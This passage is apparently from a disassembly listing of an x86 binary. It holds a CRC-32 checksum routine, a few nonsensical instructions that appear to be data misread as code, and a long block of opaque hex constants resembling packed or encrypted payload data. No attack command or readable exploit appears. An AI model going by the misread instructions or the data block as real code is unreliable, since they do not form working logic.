ebx loc_46A0F3: ; CODE XREF: sub_46A0E7+35j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_46A102: ; CODE XREF: sub_46A0E7+2Ej shr bx, 1 rcr ax, 1 jnb short loc_46A113 xor ax, 8320h xor bx, 0EDB8h loc_46A113: ; CODE XREF: sub_46A0E7+21j dec dh jnz short loc_46A102 xor ecx, eax xor edx, ebx dec edi jnz short loc_46A0F3 pop ebx not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edi pop esi pop edx pop ecx pop ebx retn sub_46A0E7 endp ; --------------------------------------------------------------------------- call fword ptr [ebp+60908179h] and esp, ebp push ss sub [esp+ebp*2+6F55B94Fh], cl cmpsd mov esp, 0A6A98099h mov dword ptr [edi+5Fh], 4C6190C9h mov ebp, ebp les ebp, [ebp-61A4DAD0h] db 26h sahf retf 4B46h ; --------------------------------------------------------------------------- db 36h ; --------------------------------------------------------------------------- push ecx xchg eax, edx or [ebp-35h], edi fucom st(4) pop es sub bl, [ecx+ecx*4] or edx, [ebx-6740FBA4h] retf ; --------------------------------------------------------------------------- dw 1182h dd 4C1A09AFh, 0D858A280h, 908A97F7h, 7E51F528h, 9E7D716h dd 0C28A28C0h, 3D03BB2Bh, 4244AFE7h, 26B10AE0h, 147334D3h dd 749A4292h, 0A49A16E0h, 2B4852EDh, 9E2B7279h, 9A04C2CBh dd 0FE8DD67Fh, 317C69E4h, 82FB9308h, 0F9731DEFh, 0BAB39453h dd 405FB9CDh, 35DBDBB6h, 7794BE2Ah, 0D99C1986h, 7B9FF24Ch dd 0CF3F78EAh, 9AA0039Bh, 1033070Fh, 0E9CF1ECAh, 0CBC4C723h dd 3140BEAFh, 82FBB003h, 0BF792707h, 11E069EFh, 0B512A88Ah dd 2AC00D0Fh, 0B5589A64h, 379283A9h, 0CA7706AAh, 72553ADDh dd 2273D37h, 0B6DB3275h, 6C8564B3h, 0AEB8BEA2h, 3E271D6Eh dd 0DCFB10D9h, 0DA55B945h, 3306B5B0h, 0B55DFF4Dh, 7BFC5D05h dd 2F06B4Eh, 0FBE06087h, 2283301Eh, 0B017F8A8h, 6674694Eh dd 37678C4Ch, 17154124h, 0BE4E9476h, 18937ADAh, 0AE960EFFh dd 0AB791BC2h, 91D69645h, 0FBBD13E5h, 3153AAB1h, 0A3BE90D2h dd 0C0D18990h, 0C2C7E2FCh, 73AB6772h, 79AB33EBh, 7CE5B955h dd 9669951h, 78BC5CEEh, 4C8DEDF0h, 0A287BA77h, 0A6203642h dd 6E6AE93Fh, 7861D2F2h, 60D2C71h, 6E7FBFAAh, 88262A62h dd 8D032792h, 32708AA1h, 2A0DB3CEh, 0CC25A88Eh, 413483DDh dd 0F16F29h, 1673D301h, 187ADBC7h, 0B030729Eh, 0BDB0E33h dd 0C55C32CDh, 0A2D19AD8h, 66136093h, 413F3D09h, 92A6E2E4h dd 686E326Bh, 0BFC9BB94h, 5221746Eh, 79A6AF2Bh, 3C1C95Dh dd 16A83227h, 7599F729h, 18C48C3h, 0E1FB5747h, 65320FEAh dd 0DEC85004h, 8472C1DAh, 869690AAh, 6713FF0Fh, 1E6273C3h dd 5641FC98h, 53A7C2CDh, 0EAE2F36Dh, 0CC28805Ah, 4D53002Bh dd 0C6BA5117h, 0F835AAB5h, 65357C92h, 7FBFB282h, 0AC7D3D66h dd 84B6B233h, 81320FF7h, 8CEFA6EFh, 0F120B22Bh, 0DB76FF82h dd 4BBE08A3h, 39E232FDh, 5BD1CDE0h, 0CE267FE6h, 923DEB56h dd 0F3A9528Ah, 0DC263161h, 0EBB33371h, 7D0C5BC3h, 5C07AF78h dd 319FFD64h, 6F7B9991h, 7D3BB1EDh, 0B8066DD3h, 5FA05C80h dd 0AB75DE40h, 1F30A28Fh, 8E615ADBh, 7175EA50h, 694F6D6Dh dd 41622207h, 0BD0FBF92h, 0D147C776h, 97D2C59h, 0C518B2FCh dd 0A0E1B851h, 0C96C9047h, 466465Bh, 0E8B0C1CCh, 238F66CDh dd 0F33503B1h, 1C36A3B1h, 84F38598h, 87CB8304h, 0E377CCFDh dd 0E0DCFA9Eh, 46410CE5h, 0B650BA82h, 8FEB6994h, 6681554Bh dd 0D669264Fh, 0A2CEC80Fh, 0EC156E44h, 95C23D00h, 0E4848D67h dd 77E9F97h, 65407B9Dh, 6D43B7A0h, 0C3ABC06Eh, 542002E0h dd 32B513D9h, 82BEA8A3h, 2FCCCB3h, 0EFC41DB5h, 0AABD8C8h dd 0DE620661h, 0F5A27079h, 0C82271ABh, 5305CA64h, 0A8B8DB10h dd 0B229Bh, 0CEBFB159h, 8B083331h, 4A6755D7h, 2E7DA822h dd 6C551F2Dh, 865290E0h, 0F2202B00h, 6E891F33h, 97F6F20Bh dd 28EA7246h, 1359121Ah, 8D417CAAh, 677B5FB3h, 4F539836h dd 0D1798A74h, 0B0943126h, 95A33207h, 93650DA2h, 0AD8A6C90h dd 0DC8079C6h, 3607F41Bh, 64F76933h, 0B344427Ch, 8D84B612h dd 0B4087031h, 8AF43553h, 0CFA272C2h, 0BB908CBEh, 0BE5C5C29h dd 94923A7Bh, 371757C0h, 0E476C299h, 0C660676Dh, 6D89AC20h dd 0DD50CAE1h, 660FC402h, 0A8A8F158h, 7FDC6561h, 0EADE2049h dd 0A0C66BE6h, 0A1A0D159h, 7303C8CAh, 6ACA8A14h, 2BC6AE0Dh dd 0EBF1E8CFh, 0D58838F6h, 0BD9E03B8h, 6E63B958h, 0C0F88D23h dd 0AEEF4CA7h, 89F762D7h, 0EC490608h, 0C1B5CD62h, 0F9E3C89Bh dd 0A3F537FEh, 0B1EE69F9h, 60430ACCh, 5508EC92h, 9DD90F66h dd 8C53EE4Ch, 7DB92EF6h, 0E6E09B3Bh, 0A1712BCCh, 565A06BEh dd 68A9620Eh, 256736F1h, 0EBC21C85h, 434355AAh, 0D80F42E7h dd 0E3E628EFh, 0C7E61FB4h, 0A64CAF6h, 9AF222h, 6575690Fh dd 8DF0CF2Fh, 0CDEE5182h, 44DB79CFh, 0DD9CA738h, 948D5F6h dd 498F0D1Fh, 0AB75067Ah, 485F9DF3h, 650CE922h, 628F0819h dd 0E86D72B3h, 2D396029h, 0C9AB12E6h, 84CDF1Eh, 33D16AAh dd 0E9CBFAFAh, 56D159AFh, 9DB2C40Ah, 0F1467B14h, 0AE42844Bh dd 1DD94A63h, 9259D19Dh, 8AC5BC4Eh, 6A602E63h, 667F5450h dd 0C2B1D6ADh, 886FB354h, 61421E39h, 21BED9AEh, 0D67E909Eh dd 34D1E0CAh, 9FE3EAE8h, 7C408F4Dh, 741DBFCh, 1538FB3Ah dd 480A4AC4h, 1AB6F9A0h, 424943CDh, 7B8B65B8h, 8088A52Fh dd 0CB7D37F7h, 0C3AC096Dh, 0C8E55D7Bh, 5E1B9186h, 2A6246DAh dd 3173B152h, 660F886h, 0BE0FE76h, 0BCD00406h, 46A87A8Bh dd 247ED6F0h, 0FF274918h, 9C579ED3h, 0DAEAEF7Dh, 3C79A402h dd 0FE6738CBh, 0BC419895h, 7959BF63h, 8F416EFAh, 7411EAE5h dd 7EE67774h, 79312CB9h, 328073A4h, 0EB668C0Fh, 7AA9E37Eh dd 18E2FB4Fh, 7F218164h, 0D4F8DCF9h, 0C117D7D8h, 155BACC0h dd 0CA4FEC6Dh, 22F96382h, 46AA9B0Fh, 9CD00D9Eh, 0BD2D01DCh dd 466532CEh, 74C8CDBDh, 7A110CCFh, 224FBB7Ch, 0B11D51CCh dd 0F16B72h, 2BDE4575h, 7F53EEC3h, 65354CBCh, 8320D9F7h dd 1638C7A7h, 1C8CCB5Ah, 0A35DBCCh, 68050227h, 7F97C9DEh dd 594B7456h, 0FCFDC4A7h, 34A9FF97h, 99965645h, 545CBDE2h dd 0B69B9B80h, 743270E1h, 6FB8B43Eh, 0DF08B917h, 0F2AC99A1h dd 2AFF44F0h, 0A3689960h, 6F0BCD8Ah, 0A12DD66Bh, 68C1366Eh dd 0B856EF7Fh, 323AEF3Ah, 723146BCh, 38EE9BF2h, 8695383Bh dd 0AFCD667Ch, 0BDA76595h, 49C7C5DAh, 0F3D3F945h, 0E5C52EAFh dd 0CC0AABC8h, 473D0F9Dh, 0DAE48CA5h, 0C325D697h, 0D5C608D0h dd 914B249Dh, 0E0A8E9BFh, 1F6A51A9h, 51D8259Eh, 3A7050Fh dd 8592A49Dh, 205A1138h, 0EF25D5C7h, 4AB13A7Fh, 5763B30Ch dd 0F2054B21h, 0F98A437Ch, 5BB750BDh, 9F71ECEEh, 0A797A835h dd 0AA09B34Fh, 2486D38Eh, 2DA1CA19h, 0B3768A96h, 0C12F23DCh dd 2AC5B823h, 0B0B11011h, 83534272h, 0BC199D70h, 0A8A9CB30h dd 0E1A59A78h, 14E8D860h, 948FEF28h, 58EB11A7h, 0CE17E433h dd 0C937F29Ch, 9816C95Bh, 8CD8224Eh, 72071A9Eh, 0C5EAA526h dd 802BA0A6h, 0E9484BD2h, 2CB20C81h, 31B3C48Fh, 2BF4BDC9h dd 0CFEC58BEh, 5D9B317h, 0D287AAAFh, 9BD4D8A3h, 56174DFAh dd 0E4985567h, 0C871B172h, 0DFB7914Fh, 7789D0C7h, 0D932F570h dd 0E0B3CBEBh, 3CF4A0D8h, 0F157D878h, 78F53E76h, 0FDD0EA0Bh dd 0EB7D56FEh, 0A7592FA4h, 0EF2C83F0h, 0A1F896EEh, 69C0820h dd 0E5AD9F0Fh, 0A5AF6EDFh, 0E838B372h, 79246477h, 0FA001E51h dd 9B12FBC1h, 38F1CF4Eh, 26EFECD8h, 4CEC8EFAh, 606C17B1h dd 0C0FFA0B6h, 0C60D7315h, 726112EBh, 0EB1E30EEh, 5BDC70C3h dd 0C3349C99h, 0D54D710h, 0B454EAB0h, 965E05DDh, 0A72D5EF9h dd 45F91C6Bh, 77602A8Fh, 94F30511h, 0EF94E006h, 0F072280Dh dd 25771CF8h, 56F5C78Fh, 74C086A4h, 43802E5Ch, 3D6BB4BFh dd 85502671h, 7C0EE83Ch, 0C3A25AEDh, 3AC1B8D8h, 0C85E1E7Eh dd 7A88A8D9h, 43FB6B15h, 0C71990D9h, 0EC711C36h, 0C05F8636h dd 317AF22Ch, 8AD7053h, 643EC98Eh, 0FCF2973Dh, 36EE2B4Ch dd 0E76DB5Bh, 4A5807C0h, 4F5A4650h, 0A744A029h, 12CD889Eh dd 0C5A52F6Dh, 0B663F144h, 4127AD43h, 0D8F3417Dh, 0E304D53Ah dd 4641A408h, 98B75CBDh, 4974097Eh, 0BF6CC2C6h, 0CA4C1273h dd 4F4E6E39h, 7A12F894h, 0EBC179E3h, 5D5348C6h, 20D6DD92h dd 0E7AD1636h, 152B38E3h, 156971D4h, 27D60C9Eh, 1D5A18D2h dd 4D4AE910h, 8AB97F3Ah dd 0C075C27Dh, 0A9C4D755h, 7630587h, 4E69159Fh, 0F5019186h dd 956D51B1h, 0B956B079h, 40DF839Fh, 0FCEF4C66h, 1CB66A00h dd 9F73E094h, 3295D734h, 0EE1675EFh, 0C6075BF1h, 0B92C550Ch dd 5CCD1608h, 0A98BA91Eh, 465E6231h, 5769BC9Ah, 0C6A98730h dd 28FFB099h, 97A1DA9Fh, 7B90A344h, 0B90492E6h, 8494412Ah dd 0EE66D1A5h, 98F65815h, 167093A0h, 0AB24FA3Dh, 4D2C4604h dd 90F9D1DAh, 7EE99533h, 0C793C4A0h, 12FB546Dh, 6E5CEA4Fh dd 953F636Ah, 907CCC7Dh, 0BE7A14A8h, 86B46461h, 4922327Ch dd 70D1E52h, 0CA973F28h, 0CE8B9B35h, 0DB2352B6h, 208E1731h dd 2F8E25DFh, 0A8F74BE8h, 7FE90859h, 186F9557h, 0AE87833Dh dd 78BF1474h, 4B48E7F8h, 4ACB1E88h, 3CE8F03Fh, 5153B5A6h dd 0E212C25Eh, 5F8E51BDh, 0AF10DE5Dh, 3B5CDC2Bh, 4383D048h dd 0B8D23AFCh, 41791F24h, 0C995238Bh, 6FCEB9D4h, 0D15C48C2h dd 14A05D75h, 3C7981D3h, 0BA764F9Eh, 94B39091h, 30889FEDh dd 11857520h, 0EFCD84EFh, 6DA2CAF5h, 0EDC2E401h, 53E97FBFh dd 4046AD7Ch, 0F4C946Bh, 9C05B540h, 9179981Dh, 0EFFB6D4Ch dd 0BC18B986h, 7CE4B1EBh, 64A1B93Bh, 0FD9C6010h, 0A6BCFB9Dh dd 37A3A4A5h, 509B927Dh, 0B30068DAh, 59BA5F75h, 0DF18D95Eh dd 66808815h, 0CAB1D291h, 0A0F59F42h, 0AE85A94Fh, 1FDA849Ah dd 58F89F6Ah, 15D839AAh, 719F013Eh, 0AEB39CB0h, 0CAA52EA7h dd 7B141535h, 3B3239F2h, 684F30B7h, 0E6A2CDB9h, 0C437D3DFh dd 0FCCF333Ch, 0ADE6ECFBh, 12944EF3h, 0A927D293h, 37E4809Ch dd 121F4134h, 0B509BF3Ah, 96CACBC9h, 1B0BD162h, 45423562h dd 829682F2h, 44797C81h, 50135FFCh, 63499CADh, 8EB190CAh dd 5B8CCDD3h, 2C55DFE8h, 0F73A7492h, 17B2481Dh, 6F711F56h dd 0B9400B97h, 0FF4E23ABh, 0E49AB8DCh, 501B425Eh, 636AC3DFh dd 0BAB15FEAh, 0A95A7392h, 3616CCAEh, 390F473h, 9D2C0BD9h dd 73FC17B8h, 8716ABC6h, 4B955428h, 8681E069h, 0B261F690h dd 21DA896Fh, 0AC0A06F3h, 0C9A16CE4h, 9BC538C4h, 9AB61E7Bh dd 5010B8B9h, 0C109C7E2h, 340DF6C2h, 79446286h, 5598E0C8h dd 97F2BE44h, 6EC63526h, 0AFE463A7h, 2D94928h, 7EB6B1FEh dd 57B6D68Ah, 0D387138h, 9F05A62Bh, 71A70C26h, 27DB2C74h dd 3319A52Ah, 30EBD644h, 0ECA05ADEh, 0B826A20Eh, 0B4E2F9B8h dd 9BC77FDh, 1B1717C2h, 76970E04h, 43032B5h, 0B46CF694h dd 4244913Fh, 0C5BAF139h, 0F93AB07Dh, 0BB68C99Bh, 0A1453AFCh dd 9270EDE3h, 0F9DB3F57h, 7F6F88E5h, 0A520F779h, 5001A9D8h dd 0D3FFEABFh, 9F4E7840h, 4CF405F0h, 0AB703928h, 46999D14h dd 59B8C997h, 0BABFE939h, 818ABD3Fh, 8B010D00h, 6EA76886h dd 7A7DD9D3h, 35C9A4B4h, 3AF77359h, 0C1E1B517h, 0F691A337h dd 38013BD6h, 14D8D6AAh, 0D6870FE5h, 70C0AD8Ah, 9A9C6909h dd 3B9F2794h, 373CCEC7h, 7745585Eh, 0CF7E1979h, 68C90DEEh dd 0C4C9A14Fh, 8895BCB1h, 0BDBAC973h, 0C7ACD721h, 0F50023AAh dd 7236ED1Dh, 491F1664h, 0B91F9DF7h, 0BC3CCA96h, 2D0283C0h dd 2EF42D6Ah, 62FDEC5Bh, 0C9CC0231h, 35DF7E7Dh, 0C991FEB8h dd 0E5E84E68h, 95AEFA1Bh, 0A8F4E40Ch, 85EE0AB8h, 0F3319469h dd 0DD1145C7h, 0CADDF3Ah, 0E3EE85BFh, 788BC207h, 79EF4EB2h dd 0BD876CDAh, 8182A2E2h, 0BAE93305h, 4B9D5237h, 0DABEF6F9h dd 0A3631A67h, 2147C926h, 0D0C53F3Bh, 65A1256Dh, 0D2C17D01h dd 0F2426112h, 2C1BB166h, 817F4FF7h, 23E3BFB8h, 7D0CB5E8h dd 69C9D561h, 2887E3C7h, 277D4120h, 1D9EA0ABh, 719FF4D5h dd 90391045h, 85EB99E5h, 49F73923h, 0BB791357h, 8CFACA70h dd 3AB7EA36h, 6855FBB2h, 0D51189ABh, 0D08E917Eh, 0D7AA79C4h dd 0EA251B5Ah, 62021B22h, 0FEB60D84h, 64A9E3AFh, 6630EF49h dd 4B6CA95Bh, 0E11DC33Ch, 6BBD285Ah, 808041E2h, 44DD3875h dd 1AB17C76h, 0F157BA02h, 243B559Ch, 0EED4BE39h, 9C20027Ch dd 0C8546EB5h, 31CBDD8h, 6BEFE617h, 796EA08Bh, 25515B6Eh dd 1FAC7933h, 0AFDE2216h, 842AFEC2h, 0B13D57F5h, 36B7E5C2h dd 88D0F8Bh, 6CB059Eh, 3993CADEh, 0DB368EEEh, 7A0CF44Eh dd 0BC2DD1C7h, 37B14F61h, 0E0987D2Ch, 30A7DBF8h, 2250CDEAh dd 6C047741h, 0DFF6753Ch, 0D5BB1506h, 0E1F8A41Ah, 16BFEEEDh dd 7CCC4484h, 0C97AD58h, 7C8A2301h, 0EA26151Fh, 0B100E3EAh dd 0DEFBCE47h, 0D339ED11h, 8839B8A4h, 0D41C2A77h, 0DCA0E5A1h dd 90007BE8h, 81FF9E16h, 0E3A46C7Eh, 917CBC0Ch, 7C314DFEh dd 3FF98FC8h, 4D0D7853h, 0EBBDEA6Ah, 0F2142B7Dh, 0D586CD5Dh dd 0F60800F7h, 14383002h, 36266AB2h, 0A9E6ECC3h, 0AF8017A3h dd 955F8F88h, 4A1F7959h, 0EA39E15Ch, 631297D9h, 6A945722h dd 926990C7h, 87EE4A2Ah, 0EF7CA23h, 8DC7D624h, 0B51FAD01h dd 4066330Eh, 3036B9B3h, 0DCB2EC17h, 5DD60CD9h, 0CFAAEE1Eh dd 2BCF5DD2h, 8FE4C486h, 16ED739Fh, 3C9FD9FCh, 8CD3F007h dd 0D2B19E4Ah, 0C713E521h, 0B0A24867h, 1F5E39BCh, 1F7755CEh dd 0FAC99FBCh, 0B33357A4h, 516E115h, 0BB3714D8h, 0F6EF3364h dd 0D517E77Ah, 0F54E0A45h, 78F4A406h, 5695AE01h, 18C206Fh dd 81CDE684h, 8CB31C52h, 697EECD8h, 5A7E9B8Bh, 0EAAE2D39h dd 11BFED0Bh, 6724BBD4h, 65A9179Ah, 674E46A9h, 1DD2D65Bh dd 4D3E7B05h, 0A8828E0Dh, 0FFBDA03Eh, 335FB17Fh, 2C389E04h dd 9385C2Dh, 0FAF59400h, 32F3F08Ch, 8EA7D55Fh, 0FE0122FAh dd 0CE127D58h, 1C575947h, 6F10C4CBh, 568932Dh, 5E9095BBh dd 8A6447D6h, 77D3DAC5h, 793F16FDh, 0ED90E3Ah, 32D56565h dd 0A69D79FCh, 4A16432Ah, 0DDA140B6h, 54F7E118h, 0CD169E4Dh dd 0CC0263DDh, 0E47B5ED4h, 2F696BEAh, 0D81C74D6h, 48DF6F03h dd 8419D69Fh, 0B681282Fh, 0FBC548BEh, 86B1B61Ch, 0B12FC73Dh dd 0D3045636h, 0F6EC4671h, 38783D86h, 0A0640D45h, 0F10B2F88h dd 0DFF09F0Ch, 0C1CBC16Bh, 0CDFE800Ah, 0D3FEAC0Eh, 40C3CDA1h dd 400759A4h, 2E41231Ch, 5E2ABBBDh, 6871189Fh, 34173556h dd 736BD1ABh, 2CA06589h, 80D98A35h, 0BB133669h, 515E0481h dd 35EF0CE7h, 0A29BFC9Eh, 0DB5BBE5Bh, 0D3AB31ABh, 8A39EF0Eh dd 2FAC325Bh, 0A863F9BEh, 3898D979h, 0B744EEBEh, 79D8985Bh dd 932F2341h, 0BB20992Eh, 4B7DCE60h, 23A02962h, 9517AD14h dd 2EF297BEh, 0F781A7BDh, 5359CC3h, 1D8FE14Ah, 2C869A64h dd 755974Fh, 1CC5818Ch, 0CED0DF0Bh, 0CC7BB7B0h, 0CF3E9C9h dd 0A18F087Ah, 714D5675h, 5B234842h, 1A1D5BD6h, 0D5E70613h dd 83C34A20h, 0B65FC92Eh, 0B93E477Bh, 20631B6Bh, 92906CDEh dd 5DFCC4D3h, 84E455AEh, 4FD51E95h, 94DEAE85h, 0A2D5861Fh dd 249DBB2Eh, 45B57D6Ah, 254279E3h, 7C369AA1h, 0DEBA74F1h dd 4DB6C108h, 0D8FF4359h, 0C7C121E4h, 0D233C264h, 0A57DA828h dd 3CA63CCDh, 6A59FDE4h, 19183F5Fh, 3F374DACh, 0FA765F61h dd 8F9A8170h, 0D85CB9ADh, 48095C66h, 9A617E85h, 0F94E5352h dd 26F49E62h, 0E74585B9h, 40A3D04Fh, 0AB91CB9Dh, 0AD9DB41h dd 1EDFAB86h, 0F80BF128h, 94802850h, 0B7A750D8h, 0A750E831h dd 96D11392h, 97639496h, 0DFEFF75Eh, 118DC2BCh, 0B2C66037h dd 0AA06837Fh, 8EC1F570h, 5A570DF9h, 0E6BCC6C2h, 0CADBAB03h dd 14C2525Bh, 0F31EA217h, 943C1DBAh, 596A20B8h, 6D4EB34Bh dd 1479E44Fh, 87AC4772h dd 152FA203h, 618B322Ah, 69096449h, 0F53EAEDBh, 47CE74FBh dd 0A9E8E9E0h, 9071FC3h, 0CAE04189h, 0A0332A52h, 0CD8E2E3Dh dd 0D95BC911h, 0E6C91FA3h, 958BE424h, 0A90CA22h, 0DF73918Ch dd 78C7B6E4h, 2F58E0B2h, 513D7F84h, 10361705h, 209FC816h dd 0F68AB0F3h, 0E9A8BD16h, 3F5B6E98h, 0C37E8B69h, 0BB078150h dd 63F262D1h, 81814DC3h, 31C52BC2h, 7296AE57h, 6C7B4551h dd 0AC231851h, 3E201D73h, 36AD8477h, 0E32378ABh, 0AFC9C77Bh dd 162DCBD8h, 0EEF48C26h, 0B9EA3306h, 4967199Eh, 4DB1741Ch dd 0DE0D11CAh, 4928607Eh, 44904DC3h, 59346C31h, 1A9E72D1h dd 0E1CDC30h, 0B862D57Ch, 973D39BCh, 0EE52A3D9h, 3950BA82h dd 0DBC2F69Bh, 3491BB16h, 11AF7AB8h, 71831EC4h, 7A58DC7Ch dd 0ECA68202h, 152BDB50h, 0FDB892E7h, 4DE0D075h, 0EE25CD0Bh dd 7375B4F7h, 8790F2Eh, 7DA58807h, 48850D15h, 7CEE72E6h dd 0B828BC7Eh, 0EEE10F8Dh, 2EAD2E67h, 913EF666h, 2F089B1Dh dd 8A73F451h, 0E7642A60h, 5C059468h, 7A145DA7h, 1FCEAA94h dd 0A59578ABh, 0CED9C604h, 12AF4220h, 0BA1468E9h, 67A5033Eh dd 12026E5Ch, 0A62CA6C6h, 5A9640C4h, 2FF799CEh, 14B51136h dd 4B6E44E8h, 0DCF06B2Bh, 64DBCB4Fh, 2DD8A7D3h, 6BE72DB1h dd 0D37292C6h, 3135A277h, 923ECADBh, 1EEBDE43h, 6BC43C25h dd 0D3FCBA88h, 0F47A49FEh, 0A029026Dh, 86AEAD36h, 33365BCFh dd 49F72E54h, 0FC4B9D98h, 359C1A04h, 8A61E222h, 0A33D07D4h dd 0C1D41A40h, 78514E1Dh, 14B3BBBFh, 90D2E9C7h, 70C2D19Eh dd 68FB734Eh, 683E28C1h, 0ACB6658Dh, 0F46C2EFDh, 9394E30Bh dd 253C530Fh, 0BFA74A31h, 0ECDEF70Ah, 0B1BFB8h, 7A8706E9h dd 0DC957ACCh, 0F2924A6Ch, 3DD2DA69h, 0BA36E666h, 0B8E15626h dd 65C44CC5h, 0A3344BF0h, 45E6CF4Ah, 753A0C23h, 0EAB6B863h dd 905976C4h, 0C7579C00h, 93569B8Bh, 0DB5AB730h, 0C8B4509Fh dd 24E9FF24h, 0EFC23EF5h, 59BF814Ah, 2554898Fh, 0C034943Bh dd 81576204h, 6E3F678Bh, 3449EE2Fh, 0CCD7C502h, 5948C7F1h dd 0D90D4A76h, 0CBE4EE2Ah, 0CEF5F20Dh, 0A17B9C7Ah, 253A7CE3h dd 0A39BA122h, 309B241Fh, 98AED8B8h, 885F02B3h, 8FDE8437h dd 826F5D47h, 2D28A42Bh, 0B5443398h, 4444F63Bh, 0CA5A4424h dd 0FCEC78DFh, 1FD1FB52h, 0EC408B7Dh, 0D6D25B23h, 64DB1716h dd 59E14605h, 0EAF9C49Ch, 12D4154Fh, 0C6BC836h, 2C7AB19Eh dd 0EE1A1BA2h, 0BD6E0310h, 73168FFh, 0B471EA6h, 0D00D7549h dd 5B4110F0h, 718F169Ch, 4EF49229h, 4FCFEAABh, 4A1AF4A0h dd 2175C372h, 0D115A1Ah, 0ABE5D663h, 704B3F7Ch, 0E5330879h dd 3B37BC97h, 0D9501152h, 10D2B5D0h, 5E882A3Fh, 465BBB9Ch dd 0E3331A9Ch, 0E3855AF5h, 4EF7A9E1h, 0F89BAAE8h, 0F6601A41h dd 6041536Eh, 9D2D57E5h, 0E4DF43Dh, 8FBFA624h, 0A99711C9h dd 0AFEC70BFh, 2FBAD8ADh, 0B988126h, 0F9CB5Ah, 0DF8C4062h dd 4F5ACF4Ch, 0E4B532F4h, 2222A370h, 0EE48967Fh, 96D151E7h dd 78E50865h, 2691BF08h, 0F2F0099Fh, 4AFAA243h, 0F99DE0D9h dd 800756BCh, 8F5CD4E1h, 0C6D4A5C8h, 0B70FBD83h, 0A75F6CB3h dd 9903E4C0h, 141B141Ch, 0AE54EF60h, 0EB8FF6BCh, 6D893AC1h dd 0C9B6E297h, 0FAA39597h, 1ACD9473h, 0F3FC1858h, 317B8B09h dd 0D4238855h, 0E7354336h, 317A3617h, 599DC9DCh, 58A69742h dd 1D1B61C2h, 85B99683h, 0CDA389FDh, 0F0A9DFA6h, 4F8AF6C1h dd 79FE8F9Ch, 0C0FF9DADh, 0BCDCC4AEh, 0AC91D8CDh, 0F2DA44DCh dd 86AA495Ch, 2225596Bh, 0D22D25A4h, 0F652D8F2h, 44332A62h dd 33ED35EFh, 7D146822h, 0CC45FDCDh, 5388B079h, 0BFEB5FCDh dd 307AAF25h, 0B3B13853h, 5B9FF646h, 9AADBF04h, 0FC36B9B0h dd 0A25D409Ah, 976C652Fh, 41D73EEEh, 23BEA68Fh, 0D699459Fh dd 7303B134h, 443222F9h, 718514E9h, 58CCE63h, 311ABD59h dd 0AA80C3DAh, 30D23E3Eh, 0AB0947C7h, 4C1FF91Dh, 9A28D34Dh dd 267205B6h, 0E9F1E881h, 0AF88E82Fh, 0E629DE17h, 18F1E5BEh dd 84670B1Eh, 0FE24A362h, 0EF0EF681h, 7C50165Bh, 5BF3C913h dd 0B99766Ch, 0A302440Ah, 0A006691Eh, 8590A776h, 0ED3D3137h dd 0C82B934Fh, 0DC335DC2h, 7D516AACh, 0F619FE4Eh, 49027767h dd 0D7CBC569h, 0F4781EF2h, 54FAA6CCh, 55E43769h, 6097EE6Ch dd 331624EEh, 0D198CF87h, 0B9BD2B66h, 4009115Ch, 0E9E60FE3h dd 0B4D18696h, 0E5D3BD7Ah, 8CDC043Bh, 2D08461Dh, 6A4A23F4h dd 86C79F78h, 0F12B18BEh, 46F773BFh, 0FC49568Ch, 85BC6D6Ch dd 134B89EDh, 1BDFCC14h, 3DE7273Dh, 0B7ED2470h, 0A4311003h dd 63E5B7h, 0F42A48D2h, 0DF12761Fh, 1714FF40h, 0A4B6E41Ch dd 174B56D2h, 6BDF2D8h, 69F91058h, 183CCC63h, 7E34C15Dh dd 0E9144CEFh, 583CBC84h, 0D9BD2C11h, 22C0A72h, 0FA482D37h dd 0B3552FC2h, 0C73F7AD1h, 81CFB9C1h, 31514B43h, 2FF25980h dd 0C2672A7Ah, 0E380550Dh, 62EEF781h, 6C21E8ABh, 18051E6h dd 0CD14C506h, 5D05DCE5h, 2E03176Eh, 3E942F9Dh, 6D5569CDh dd 3EF04A5Ah, 0A453AE8Eh, 8CDB157h, 0E7948D78h, 0DFF1D737h dd 0B4BD5FA8h, 1740BA95h, 8B08C816h, 0F48C6471h, 27E6B567h dd 0C8E1B9C1h, 0F8165B94h, 0F7119F5Ah, 7CC20EA1h, 654FE360h dd 0AEA65D57h, 339D58DBh, 0A2BF9CB3h, 31DD902Bh, 9F72882Dh dd 0AB8DF76Eh, 89D8F345h, 7E9F2663h, 0E8474363h, 0B56341F0h dd 0B0A4F15Fh, 4A02867Fh, 0AB1E4A86h, 0F119F48h, 858CD9D8h dd 57B70F1h, 5F4247E7h, 0BADFC8C1h, 9123CC59h, 0FC2CAE0Dh dd 2898A45Dh, 98A19389h, 0A022D7D8h, 9D70A889h, 67A59DB8h dd 0E76E834Ch, 0C6A3B42Eh, 4E3CFD73h, 68A660F6h, 0FD3B68B2h dd 8AF56086h, 2DB0A4CBh, 8F006502h, 0ABC24971h, 42490212h dd 0C1F97553h, 0CFB160E4h, 0DB2BB367h, 0AC7F3B64h, 0D6E4177h dd 0D12199BFh, 3E5658D6h, 94FEADE8h, 0D6112C29h, 0FE98A8BBh dd 0D6178401h, 4BC36E32h, 0AB5DC669h, 658A3B44h, 659F2665h dd 4FC96056h, 0B774A2A2h, 9DAF5CDBh, 0C8FFAD9Eh, 0A5CB3128h dd 4532E58Dh, 0F9C46E72h, 494BCDCEh, 0FF7E1C6Bh, 0CB7A1ACDh dd 6215AE75h, 0C68E8BD5h, 0BD7FF170h, 0E50B375Ch, 5EF1074Ch dd 92C86C18h, 491F4C32h, 44EFAF2Ah, 0DB49B575h, 0CF371BD3h dd 9A11273Bh, 0E07ADA12h, 37684315h, 2BA2952Ah, 960A0FD1h dd 0C2B0EF14h, 0E4B0FF02h, 55F20941h, 607ABD6Eh, 34EAFECEh dd 0AA6D207Ch, 958E2ACBh, 0E592652Dh, 0A66D76F7h, 150C1D1Eh dd 454B01BEh, 7FA553F2h, 0AE358926h, 55FAD5F4h, 802402C8h dd 0E26F45D0h, 0AAE72D7Bh, 0A96058C9h, 0E3C352A2h, 85A19B75h dd 0D7E497D1h, 8232B00Fh, 4C30900Bh, 95F41873h, 58E98D54h dd 0FAEBBE8Ch, 206E17B1h, 31D84EDDh, 0B3ACD4FFh, 40743A4Dh dd 4B33E064h, 365A7C1h, 8B64D335h, 0FB281EFBh, 4C0E7D47h dd 0E203D746h, 0C113818Ch, 62416A05h, 0D9B14ED8h, 0DA922CB0h dd 64D9A8E3h, 903CF38Dh, 5CCFB837h, 7F28D151h, 2D0861F8h dd 3B13360Ch, 7C439719h, 